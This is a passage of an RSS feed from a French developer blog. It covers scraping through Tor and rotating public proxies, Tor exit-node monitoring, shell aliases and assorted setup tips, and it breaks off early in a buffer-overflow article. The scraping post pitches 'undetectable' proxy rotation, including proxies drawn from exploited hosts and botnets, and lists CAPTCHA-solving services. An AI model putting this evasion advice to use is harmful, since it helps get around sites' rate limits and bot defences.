<p>Avantage: Rapidité de mise en oeuvre<br/>
Inconvénient: Range d&rsquo;IPs connu</p></blockquote>
<p>Example d&rsquo;usage sur OSX avec Python 3:</p>
<pre tabindex="0"><code>pip insall requests
brew install tor
tor

ou 

brew services start tor
</code></pre><br/>
<p>Dans un programme Python:</p>
<pre tabindex="0"><code>import requests

proxies = {
    &#39;http&#39;: &#39;socks5://127.0.0.1:9050&#39;,
    &#39;https&#39;: &#39;socks5://127.0.0.1:9050&#39;
}

req = requests.Session()
url = &#34;&#34;
req.get(url, proxies=proxies)
</code></pre><br/>
<p>ou
<br/></p>
<pre tabindex="0"><code># pip install requests
# pip install pysocks

import requests

proxies = {
  &#34;http&#34;: &#34;socks5://127.0.0.1:9050&#34;,
  &#34;https&#34;: &#34;socks5://127.0.0.1:9050&#34;,
}

req = requests.Session()
url = &#34;http://jsonip.com&#34;
response = req.get(url, proxies=proxies)
ip = response.json()[&#39;ip&#39;]
print(&#39;Your public IP is:&#39;, ip)
</code></pre><br/>
<p><strong>Proxies en tout genre</strong></p>
<p>Utiliser des proxies publiques à la place de Tor.
Scraping totalement indétectable si le proxy change très régulièrement.
Par exemple, des failles XSS ou botnet (TDL4 rootkit de 2011 <a href="https://www.youtube.com/watch?v=k3g5gNcHoFM">https://www.youtube.com/watch?v=k3g5gNcHoFM</a>) sont exploitées&hellip;</p>
<br/>
<blockquote>
<p>Etant donné que l&rsquo;on parle de proxy, sécurité et Python dans cet article, j&rsquo;en profite pour vous indiquer quelques références que je recommende pour apprendre la sécurité avec Python.</p></blockquote>
<p><img src="/images/python-black-hat.png" alt="image">
<img src="/images/rootkits-and-bootkits.png" alt="image">
<img src="/images/malware-data-science.png" alt="image">
<img src="/images/python-hacking.png" alt="image">
<img src="/images/gray-hat-python.png" alt="image">
<img src="/images/malware-analysis.png" alt="image">
<img src="/images/violent-python.png" alt="image"></p>
<p>Et enfin, cette référence pour avoir un point de vue plus entreprise.</p>
<p><img src="/images/blue-team.png" alt="image"></p>
<br/>
<h2 id="browser-headless-type-selenium">Browser headless type Selenium</h2>
<p>Il existe pas mal de solutions concurrentes.
Selenium fontionne très bien. <a href="https://github.com/tebelorg/RPA-Python">RPA python</a> fonctionne également très bien et il permet de mieux intéragir avec le desktop.
Selenium conjugé à <code>fake_useragent</code>, des tailles d&rsquo;écran différentes et le plugin <code>browsermob-proxy</code> permet de récupérer à peu près tout ce qu&rsquo;on veut. Il n&rsquo;est pas forcément nécessaire de contourner le filtrage IP ou plus généralement les quota limits car malheureusement rarement mis en place.</p>
<blockquote>
<p><code>rpa</code> a le mérite d&rsquo;être excessivement simple à boostraper. <br/>Un simple <code>pip install rpa</code> et un minuscule script comme ci-dessous permet de d&rsquo;ouvrir un browser sur une URL donnée.</p>
<pre tabindex="0"><code>url = &#34;https://...&#34;
r.init(
   visual_automation=True,
   chrome_browser=True,
   headless_mode=False,
   turbo_mode=False,
)
r.url(url)
# r.click(&#39;//a[normalize-space()=&#34;Inventaire complet&#34;]&#39;) 
r.wait(10)
r.close()
</code></pre><p>Pour les XPATHs utiliser l&rsquo;extensions <a href="https://chrome.google.com/webstore/detail/selectorshub/ndgimibanhlabgdgjcpbbndiehljcpfh?hl=en">SelectorsHUB</a></p></blockquote>
<br/>
<h2 id="captcha">Captcha</h2>
<p>Malheureusement ils se contournent.</p>
<br/>
<p>Exemple de resources:</p>
<ul>
<li>
<p><a href="https://2captcha.com/api-2captcha">https://2captcha.com/api-2captcha</a></p>
</li>
<li>
<p><a href="https://2captcha.com/newapi-recaptcha-en">https://2captcha.com/newapi-recaptcha-en</a></p>
</li>
<li>
<p><a href="https://pixodrom.com/">https://pixodrom.com/</a></p>
</li>
<li>
<p><a href="https://www.9kw.eu/plugins.html">https://www.9kw.eu/plugins.html</a></p>
</li>
<li>
<p><a href="https://www.ghstools.fr/api_captcha.php">https://www.ghstools.fr/api_captcha.php</a></p>
</li>
<li>
<p><a href="http://caca.zoy.org/wiki/PWNtcha">http://caca.zoy.org/wiki/PWNtcha</a></p>
</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Lister les nouveaux Exit Nodes sur Tor</title>
            <link>https://leandeep.com/lister-les-nouveaux-exit-nodes-sur-tor/</link>
            <pubDate>Fri, 27 May 2022 13:50:00 +0000</pubDate>
            
            <guid>https://leandeep.com/lister-les-nouveaux-exit-nodes-sur-tor/</guid>
            <description>&lt;p&gt;Si comme moi vous vous demandez à quelle fréquence des Exit Nodes sont ajoutés ou retirés du réseau Tor, alors vous aurez la réponse en exécutant le script suivant. Parfois prendre 5 minutes à écrire un script peut nous donner les réponses aux questions dont Google n&amp;rsquo;a pas la réponse.&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Python 3+&lt;br/&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pip install requests&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/blockquote&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;import requests
from datetime import datetime
from time import sleep

TOR_PROXIES_URI = &amp;#34;https://check.torproject.org/torbulkexitlist&amp;#34;

previous_ips = set()

while True:
    result = requests.get(TOR_PROXIES_URI).content
    results = result.decode(&amp;#34;utf-8&amp;#34;).split(&amp;#34;\n&amp;#34;)
    now = datetime.now()
    tmp_previous_ips = set()
    for ip in results:
        if not ip:
            continue
        tmp_previous_ips.add(ip)
        if ip not in previous_ips:
            print(f&amp;#34;NEW EXIT NODE DETECTED at {now}: {ip}&amp;#34;)
    diff_stopped_exit_nodes = previous_ips - tmp_previous_ips
    if len(list(diff_stopped_exit_nodes)) &amp;gt; 0:
        print(f&amp;#34;FOLLOWING NODES STOPPED at {now}: {diff_stopped_exit_nodes}&amp;#34;)
    previous_ips = tmp_previous_ips
    sleep(60)
    print(&amp;#34;.&amp;#34;)
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Lien intéressant pour détecter si on utilise Tor ou non: &lt;a href=&#34;https://check.torproject.org/&#34;&gt;https://check.torproject.org/&lt;/a&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Si comme moi vous vous demandez à quelle fréquence des Exit Nodes sont ajoutés ou retirés du réseau Tor, alors vous aurez la réponse en exécutant le script suivant. Parfois prendre 5 minutes à écrire un script peut nous donner les réponses aux questions dont Google n&rsquo;a pas la réponse.</p>
<blockquote>
<ul>
<li>Python 3+<br/></li>
<li><code>pip install requests</code></li>
</ul></blockquote>
<pre tabindex="0"><code>import requests
from datetime import datetime
from time import sleep

TOR_PROXIES_URI = &#34;https://check.torproject.org/torbulkexitlist&#34;

previous_ips = set()

while True:
    result = requests.get(TOR_PROXIES_URI).content
    results = result.decode(&#34;utf-8&#34;).split(&#34;\n&#34;)
    now = datetime.now()
    tmp_previous_ips = set()
    for ip in results:
        if not ip:
            continue
        tmp_previous_ips.add(ip)
        if ip not in previous_ips:
            print(f&#34;NEW EXIT NODE DETECTED at {now}: {ip}&#34;)
    diff_stopped_exit_nodes = previous_ips - tmp_previous_ips
    if len(list(diff_stopped_exit_nodes)) &gt; 0:
        print(f&#34;FOLLOWING NODES STOPPED at {now}: {diff_stopped_exit_nodes}&#34;)
    previous_ips = tmp_previous_ips
    sleep(60)
    print(&#34;.&#34;)
</code></pre><br/>
<blockquote>
<ul>
<li>
<p>Lien intéressant pour détecter si on utilise Tor ou non: <a href="https://check.torproject.org/">https://check.torproject.org/</a></p>
</li>
<li>
<p>Pour spécifier un exit node sur OSX, éditer le fichier <code>vim ~/Library/Application\ Support/TorBrowser-Data/Tor/torrc</code> et ajouter la ligne suivante: <code>ExitNodes IP_NEW_NODE</code>.</p>
</li>
</ul></blockquote>
<br/>
<h2 id="raccourci-zshrc">Raccourci .zshrc</h2>
<pre tabindex="0"><code>update_ip_tor_browser ()
{
    content=&#34;
    ClientOnionAuthDir /Users/olivier/Library/Application Support/TorBrowser-Data/Tor/onion-auth
    DataDirectory /Users/olivier/Library/Application Support/TorBrowser-Data/Tor
    GeoIPFile /Applications/Tor Browser.app/Contents/Resources/TorBrowser/Tor/geoip
    GeoIPv6File /Applications/Tor Browser.app/Contents/Resources/TorBrowser/Tor/geoip6
    ExitNodes $1
    &#34;
    echo $content &gt; ~/Library/Application\ Support/TorBrowser-Data/Tor/torrc
    osascript -e &#39;quit app &#34;Tor Browser&#34;&#39;
    open -a &#34;Tor Browser&#34;
}

reset_tor_browser ()
{
    content=&#34;
    ClientOnionAuthDir /Users/olivier/Library/Application Support/TorBrowser-Data/Tor/onion-auth
    DataDirectory /Users/olivier/Library/Application Support/TorBrowser-Data/Tor
    GeoIPFile /Applications/Tor Browser.app/Contents/Resources/TorBrowser/Tor/geoip
    GeoIPv6File /Applications/Tor Browser.app/Contents/Resources/TorBrowser/Tor/geoip6
    &#34;
    echo $content &gt; ~/Library/Application\ Support/TorBrowser-Data/Tor/torrc
    osascript -e &#39;quit app &#34;Tor Browser&#34;&#39;
    open -a &#34;Tor Browser&#34;
}
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Lister les desktop environments installés sur Ubuntu</title>
            <link>https://leandeep.com/lister-les-desktop-environments-install%C3%A9s-sur-ubuntu/</link>
            <pubDate>Thu, 26 May 2022 21:35:00 +0000</pubDate>
            
            <guid>https://leandeep.com/lister-les-desktop-environments-install%C3%A9s-sur-ubuntu/</guid>
            <description>&lt;p&gt;Second tiny tip du jour. Voici comment lister tous les desktop environments installés sur Ubuntu.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ls -l /usr/share/xsessions/
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Output:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;-rw-r--r-- 1 root root  155 janv.  9  2021 cinnamon.desktop
-rw-r--r-- 1 root root  268 janv.  9  2021 cinnamon2d.desktop
-rw-r--r-- 1 root root 8192 mars  23  2020 mate.desktop
-rw-r--r-- 1 root root  303 mars  26  2020 ubuntu.desktop
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Second tiny tip du jour. Voici comment lister tous les desktop environments installés sur Ubuntu.</p>
<pre tabindex="0"><code>ls -l /usr/share/xsessions/
</code></pre><p>Output:</p>
<pre tabindex="0"><code>-rw-r--r-- 1 root root  155 janv.  9  2021 cinnamon.desktop
-rw-r--r-- 1 root root  268 janv.  9  2021 cinnamon2d.desktop
-rw-r--r-- 1 root root 8192 mars  23  2020 mate.desktop
-rw-r--r-- 1 root root  303 mars  26  2020 ubuntu.desktop
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Convertir un fichier pipfile.lock en requirements.txt</title>
            <link>https://leandeep.com/convertir-un-fichier-pipfile.lock-en-requirements.txt/</link>
            <pubDate>Thu, 26 May 2022 21:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/convertir-un-fichier-pipfile.lock-en-requirements.txt/</guid>
            <description>&lt;p&gt;Petit tip du jour pour convertir un fichier &lt;code&gt;Pipfile&lt;/code&gt; en &lt;code&gt;requirements.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;En pré-requis, il faut avoir jq&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;brew install jq&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Ensuite, il suffit d&amp;rsquo;exécuter la commande suivante:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jq -r &amp;#39;.default
        | to_entries[]
        | .key + .value.version&amp;#39; \
    Pipfile.lock &amp;gt; requirements.txt
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Petit tip du jour pour convertir un fichier <code>Pipfile</code> en <code>requirements.txt</code></p>
<p>En pré-requis, il faut avoir jq</p>
<blockquote>
<p><code>brew install jq</code></p></blockquote>
<p>Ensuite, il suffit d&rsquo;exécuter la commande suivante:</p>
<pre tabindex="0"><code>jq -r &#39;.default
        | to_entries[]
        | .key + .value.version&#39; \
    Pipfile.lock &gt; requirements.txt
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Corriger l&#39;erreur &#34;is loading libcrypto in an unsafe way&#34; zsh crash sur OSX</title>
            <link>https://leandeep.com/corriger-lerreur-is-loading-libcrypto-in-an-unsafe-way-zsh-crash-sur-osx/</link>
            <pubDate>Wed, 18 May 2022 22:59:00 +0000</pubDate>
            
            <guid>https://leandeep.com/corriger-lerreur-is-loading-libcrypto-in-an-unsafe-way-zsh-crash-sur-osx/</guid>
            <description>&lt;p&gt;Voici la procédure pour corriger l&amp;rsquo;erreur qui fait crasher le terminal zsh avec le message d&amp;rsquo;erreur suivant: &lt;code&gt;is loading libcrypto in an unsafe way&lt;/code&gt; lors du démarrage de Python (3.9.12 dans mon cas) sur OSX Monterey&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai parfois eu cette erreur après avoir bidouillé:
&lt;code&gt;SystemError: ffi_prep_closure(): bad user_data (it seems that the version of the libffi library seen at runtime is different from the &#39;ffi.h&#39; file seen at compile-time)&lt;/code&gt;. Bref c&amp;rsquo;est une erreur Openssl. Il manque une lib dans &lt;code&gt;/usr/local/lib/&lt;/code&gt;. Le pourquoi du comment il manque cette lib, je n&amp;rsquo;ai pas eu le temps de creuser. Par contre, exécuter les commandes suivantes a résolu mon problème.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici la procédure pour corriger l&rsquo;erreur qui fait crasher le terminal zsh avec le message d&rsquo;erreur suivant: <code>is loading libcrypto in an unsafe way</code> lors du démarrage de Python (3.9.12 dans mon cas) sur OSX Monterey</p>
<p>J&rsquo;ai parfois eu cette erreur après avoir bidouillé:
<code>SystemError: ffi_prep_closure(): bad user_data (it seems that the version of the libffi library seen at runtime is different from the 'ffi.h' file seen at compile-time)</code>. Bref c&rsquo;est une erreur Openssl. Il manque une lib dans <code>/usr/local/lib/</code>. Le pourquoi du comment il manque cette lib, je n&rsquo;ai pas eu le temps de creuser. Par contre, exécuter les commandes suivantes a résolu mon problème.</p>
<br/>
<pre tabindex="0"><code>brew install openssl
ln -s /usr/local/opt/openssl\@3/lib/libcrypto.dylib /usr/local/lib/libcrypto.dylib
ln -s /usr/local/opt/openssl\@3/lib/libssl.dylib /usr/local/lib/libssl.dylib
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer un serveur Sentry en moins de 5 minutes en 2022</title>
            <link>https://leandeep.com/installer-un-serveur-sentry-en-moins-de-5-minutes-en-2022/</link>
            <pubDate>Sat, 14 May 2022 21:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-un-serveur-sentry-en-moins-de-5-minutes-en-2022/</guid>
            <description>&lt;p&gt;Dans cet article nous allons voir comment installer Sentry sur OSX via Docker. Il fait suite à un premier article sur le même sujet écrit en 2018. La procédure a totalement changé donc voici une mise à jour.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;p&gt;Installer le package suivant:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install coreutils
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Récupérer la dernière release de Sentry sur &lt;a href=&#34;https://github.com/getsentry/self-hosted/releases/latest&#34;&gt;ce lien&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Dans mon cas, j&amp;rsquo;ai téléchargé la version &lt;strong&gt;self-hosted-22.5.0&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Ensuite, il suffit d&amp;rsquo;exécuter les commandes suivantes:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article nous allons voir comment installer Sentry sur OSX via Docker. Il fait suite à un premier article sur le même sujet écrit en 2018. La procédure a totalement changé donc voici une mise à jour.</p>
<br/>
<h2 id="installation">Installation</h2>
<p>Installer le package suivant:</p>
<pre tabindex="0"><code>brew install coreutils
</code></pre><br/>
<p>Récupérer la dernière release de Sentry sur <a href="https://github.com/getsentry/self-hosted/releases/latest">ce lien</a>.</p>
<blockquote>
<p>Dans mon cas, j&rsquo;ai téléchargé la version <strong>self-hosted-22.5.0</strong></p></blockquote>
<p>Ensuite, il suffit d&rsquo;exécuter les commandes suivantes:</p>
<pre tabindex="0"><code>cd self-hosted-22.5.0
./install.sh
# ou (en local)
# ./install.sh --no-user-prompt

# yes pour créer un compte admin
# ou pour en recréer un:
# docker-compose run --rm web createuser 

docker compose up -d
</code></pre><p>Une fois installé, rendez-vous à l&rsquo;adresse <a href="http://localhost:9000">http://localhost:9000</a> pour accéder à l&rsquo;interface de Sentry.</p>
]]></content>
        </item>
        
        <item>
            <title>Commandes Tor utiles pour OSX</title>
            <link>https://leandeep.com/commandes-tor-utiles-pour-osx/</link>
            <pubDate>Tue, 03 May 2022 21:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/commandes-tor-utiles-pour-osx/</guid>
            <description>&lt;p&gt;Voici quelques commandes utiles à ajouter à votre &lt;code&gt;.zshrc&lt;/code&gt; pour vérifier que votre Mac est connecté ou non à Tor.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;echo &amp;#34;# Tor alias&amp;#34; &amp;gt;&amp;gt; ~/.zshrc
echo &amp;#34;alias myip=&amp;#39;curl -s https://api.ipify.org/&amp;#39;&amp;#34; &amp;gt;&amp;gt; ~/.zshrc
echo &amp;#34;alias myiplookup=&amp;#39;ip2cc \$(curl -s https://api.ipify.org/)&amp;#39;&amp;#34; &amp;gt;&amp;gt; ~/.zshrc
echo &amp;#34;alias mytorip=&amp;#39;curl -s --socks5 127.0.0.1:9050 https://api.ipify.org/&amp;#39;&amp;#34; &amp;gt;&amp;gt; ~/.zshrc
echo &amp;#34;alias mytoriplookup=&amp;#39;ip2cc \$(curl -s --socks5 127.0.0.1:9050 https://api.ipify.org/)&amp;#39;&amp;#34; &amp;gt;&amp;gt; ~/.zshrc
echo &amp;#34;alias tor_on=&amp;#39;sudo networksetup setsocksfirewallproxy \&amp;#34;Wi-Fi\&amp;#34; 127.0.0.1 9050 &amp;amp;&amp;amp; tor&amp;#39;&amp;#34; &amp;gt;&amp;gt; ~/.zshrc
echo &amp;#34;alias tor_off=&amp;#39;sudo networksetup setsocksfirewallproxystate \&amp;#34;Wi-Fi\&amp;#34; off &amp;amp;&amp;amp; killall tor&amp;#39;&amp;#34; &amp;gt;&amp;gt; ~/.zshrc
source ~/.zshrc
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Voici quelques commandes utiles à ajouter à votre <code>.zshrc</code> pour vérifier que votre Mac est connecté ou non à Tor.</p>
<pre tabindex="0"><code>echo &#34;# Tor alias&#34; &gt;&gt; ~/.zshrc
echo &#34;alias myip=&#39;curl -s https://api.ipify.org/&#39;&#34; &gt;&gt; ~/.zshrc
echo &#34;alias myiplookup=&#39;ip2cc \$(curl -s https://api.ipify.org/)&#39;&#34; &gt;&gt; ~/.zshrc
echo &#34;alias mytorip=&#39;curl -s --socks5 127.0.0.1:9050 https://api.ipify.org/&#39;&#34; &gt;&gt; ~/.zshrc
echo &#34;alias mytoriplookup=&#39;ip2cc \$(curl -s --socks5 127.0.0.1:9050 https://api.ipify.org/)&#39;&#34; &gt;&gt; ~/.zshrc
echo &#34;alias tor_on=&#39;sudo networksetup setsocksfirewallproxy \&#34;Wi-Fi\&#34; 127.0.0.1 9050 &amp;&amp; tor&#39;&#34; &gt;&gt; ~/.zshrc
echo &#34;alias tor_off=&#39;sudo networksetup setsocksfirewallproxystate \&#34;Wi-Fi\&#34; off &amp;&amp; killall tor&#39;&#34; &gt;&gt; ~/.zshrc
source ~/.zshrc
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Enregistrer l&#39;écran de son Mac avec le son built-in</title>
            <link>https://leandeep.com/enregistrer-l%C3%A9cran-de-son-mac-avec-le-son-built-in/</link>
            <pubDate>Mon, 02 May 2022 22:45:00 +0000</pubDate>
            
            <guid>https://leandeep.com/enregistrer-l%C3%A9cran-de-son-mac-avec-le-son-built-in/</guid>
            <description>&lt;p&gt;Dans cet article très court, nous allons voir comment faire un screen recording avec le son built-in à partir de Quicktime sur Mac. Pas besoin de soft payant; juste d&amp;rsquo;un driver supplémentaire &lt;a href=&#34;https://github.com/ExistentialAudio/BlackHole&#34;&gt;open source&lt;/a&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation-du-driver&#34;&gt;Installation du driver&lt;/h2&gt;
&lt;p&gt;Installer le driver virtuel permettant d&amp;rsquo;enregistrer le son built-in.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install blackhole-16ch
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;création-de-nouvelles-interfaces-audio&#34;&gt;Création de nouvelles interfaces audio&lt;/h2&gt;
&lt;p&gt;Ouvrir l&amp;rsquo;application officielle Apple &lt;code&gt;Audio MIDI setup&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Nous allons créer 2 interfaces audio. Une en input et une en output.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article très court, nous allons voir comment faire un screen recording avec le son built-in à partir de Quicktime sur Mac. Pas besoin de soft payant; juste d&rsquo;un driver supplémentaire <a href="https://github.com/ExistentialAudio/BlackHole">open source</a></p>
<br/>
<h2 id="installation-du-driver">Installation du driver</h2>
<p>Installer le driver virtuel permettant d&rsquo;enregistrer le son built-in.</p>
<pre tabindex="0"><code>brew install blackhole-16ch
</code></pre><br/>
<h2 id="création-de-nouvelles-interfaces-audio">Création de nouvelles interfaces audio</h2>
<p>Ouvrir l&rsquo;application officielle Apple <code>Audio MIDI setup</code>.</p>
<p>Nous allons créer 2 interfaces audio. Une en input et une en output.</p>
<p><strong>Première interface (input)</strong></p>
<p>En bas du menu de gauche cliquer sur le petit <code>+</code> puis créer un <code>Aggregated Device</code>.
Cocher la case Use BlackHole 16ch dans la fenêtre de droite et renommer l&rsquo;interface en <code>Quicktime input</code></p>
<p><strong>Deuxième interface (output)</strong></p>
<p>Créer une seconde interface <code>Multi-output Device</code>.</p>
<p>Nommer la <code>Screen Recording audio</code> puis sélectionner les devices <code>built-in Output</code> et <code>Blackhote 16ch</code> dans le menu de droite.</p>
<br/>
<h2 id="test-denregistrement-de-screen-avec-son">Test d&rsquo;enregistrement de screen avec son</h2>
<p>Dans <code>System Preferences</code> -&gt; <code>Sound</code> -&gt; <code>Output</code>, l&rsquo;interface <code>Screen Recording audio</code> (Aggregated device) doit être sélectionnée; sans quoi le son émis par votre MAC ne sera pas enregistré.</p>
<p>Presser simultanément les touches <code>cmd + shift + 5</code> puis cliquer sur <code>Options</code>. Sélectionner l&rsquo;interface <code>Quicktime input</code> et commencer un enregistrement.</p>
<p>Lorsque l&rsquo;enregistrement est terminé; retourner dans <code>System Preferences</code> -&gt; <code>Sound</code> -&gt; <code>Output</code> et remettre <code>Internal Speakers</code> comme sortie sonore.</p>
<p>That&rsquo;s it!</p>
]]></content>
        </item>
        
        <item>
            <title>Créer des Pull Requests sur Github depuis son terminal</title>
            <link>https://leandeep.com/cr%C3%A9er-des-pull-requests-sur-github-depuis-son-terminal/</link>
            <pubDate>Sun, 24 Apr 2022 22:45:00 +0000</pubDate>
            
            <guid>https://leandeep.com/cr%C3%A9er-des-pull-requests-sur-github-depuis-son-terminal/</guid>
            <description>&lt;p&gt;Dans ce court article, nous allons voir comment créer des PRs automatiquement via le cli; toujours dans le but de booster sa productivité.&lt;/p&gt;
&lt;h2 id=&#34;installation-du-client-cli-github&#34;&gt;Installation du client cli Github&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/cli/cli&#34;&gt;Adresse officielle&lt;/a&gt; du package&lt;/p&gt;&lt;/blockquote&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install gh
gh auth login
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;création-de-la-pr&#34;&gt;Création de la PR&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;gh pr create --base master --head your_branch --title &amp;#34;$(git log -1 --pretty=format:&amp;#39;%s&amp;#39;)&amp;#34; --body &amp;#34;$(cat pull_request_template.md)&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;raccourcis-pour-récupérer-les-infos-du-dernier-commit&#34;&gt;Raccourcis pour récupérer les infos du dernier commit&lt;/h2&gt;
&lt;p&gt;Editer le fichier &lt;code&gt;~/.zshrc&lt;/code&gt; et ajouter les fonctions suivantes:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans ce court article, nous allons voir comment créer des PRs automatiquement via le cli; toujours dans le but de booster sa productivité.</p>
<h2 id="installation-du-client-cli-github">Installation du client cli Github</h2>
<blockquote>
<p><a href="https://github.com/cli/cli">Adresse officielle</a> du package</p></blockquote>
<pre tabindex="0"><code>brew install gh
gh auth login
</code></pre><br/>
<h2 id="création-de-la-pr">Création de la PR</h2>
<pre tabindex="0"><code>gh pr create --base master --head your_branch --title &#34;$(git log -1 --pretty=format:&#39;%s&#39;)&#34; --body &#34;$(cat pull_request_template.md)&#34;
</code></pre><br/>
<h2 id="raccourcis-pour-récupérer-les-infos-du-dernier-commit">Raccourcis pour récupérer les infos du dernier commit</h2>
<p>Editer le fichier <code>~/.zshrc</code> et ajouter les fonctions suivantes:</p>
<pre tabindex="0"><code>function get_last_commit_message ()
{
  text=$(git log -1 --pretty=format:&#39;%s%n%n%b&#39;) &amp;&amp; echo $text | pbcopy
}

function get_last_commit_title ()
{
  text=$(git log -1 --pretty=format:&#39;%s&#39;) &amp;&amp; echo $text | pbcopy
}
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Corriger l&#39;erreur ADB no permissions sur Arch</title>
            <link>https://leandeep.com/corriger-lerreur-adb-no-permissions-sur-arch/</link>
            <pubDate>Wed, 02 Mar 2022 22:59:00 +0000</pubDate>
            
            <guid>https://leandeep.com/corriger-lerreur-adb-no-permissions-sur-arch/</guid>
            <description>&lt;p&gt;Voici la procédure pour installer ADB sur Arch, fixer le problème de permissions et uploader des fichiers en cli.
Je me sers de ces commandes pour copier des vidéos très lourdes filmées en 8K sur un Meta Quest 2 via USB.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo pacman -S android-tools
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;permissions&#34;&gt;Permissions&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Si adb tourne déjà
# adb kill-server
# Puis démarrage avec sudo
sudo adb start-server
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;upload-de-fichiers&#34;&gt;Upload de fichiers&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Lister les directories du device
# adb shell ls -R /
# adb shell ls /

adb push ./output-encoded.mp4 /sdcard/Movies/output-encoded.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;download&#34;&gt;Download&lt;/h2&gt;
&lt;p&gt;Pour le download, utiliser &lt;code&gt;adb pull ...&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici la procédure pour installer ADB sur Arch, fixer le problème de permissions et uploader des fichiers en cli.
Je me sers de ces commandes pour copier des vidéos très lourdes filmées en 8K sur un Meta Quest 2 via USB.</p>
<br/>
<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>sudo pacman -S android-tools
</code></pre><br/>
<h2 id="permissions">Permissions</h2>
<pre tabindex="0"><code># Si adb tourne déjà
# adb kill-server
# Puis démarrage avec sudo
sudo adb start-server
</code></pre><br/>
<h2 id="upload-de-fichiers">Upload de fichiers</h2>
<pre tabindex="0"><code># Lister les directories du device
# adb shell ls -R /
# adb shell ls /

adb push ./output-encoded.mp4 /sdcard/Movies/output-encoded.mp4
</code></pre><br/>
<h2 id="download">Download</h2>
<p>Pour le download, utiliser <code>adb pull ...</code></p>
]]></content>
        </item>
        
        <item>
            <title>Se protéger des failles buffer overflow</title>
            <link>https://leandeep.com/se-prot%C3%A9ger-des-failles-buffer-overflow/</link>
            <pubDate>Fri, 25 Feb 2022 10:59:00 +0000</pubDate>
            
            <guid>https://leandeep.com/se-prot%C3%A9ger-des-failles-buffer-overflow/</guid>
            <description>&lt;p&gt;L&amp;rsquo;idée du débordement de tampon (buffer overflow en anglais) est d&amp;rsquo;écrire des instructions supplémentaires dans les registres dans le but de pouvoir injecter et exécuter du code malveillant.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;idée de cette attaque est d&amp;rsquo;injecter du code malveillant grâce au buffer flow, de récupérer les adresses EIP de ces instructions et d&amp;rsquo;insérer ces adresses EIP dans une stack frame entre les registres EBP et ESP pour qu&amp;rsquo;elles soient exécutées.&lt;/p&gt;
&lt;p&gt;Pour les processeurs 32 bits:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>L&rsquo;idée du débordement de tampon (buffer overflow en anglais) est d&rsquo;écrire des instructions supplémentaires dans les registres dans le but de pouvoir injecter et exécuter du code malveillant.</p>
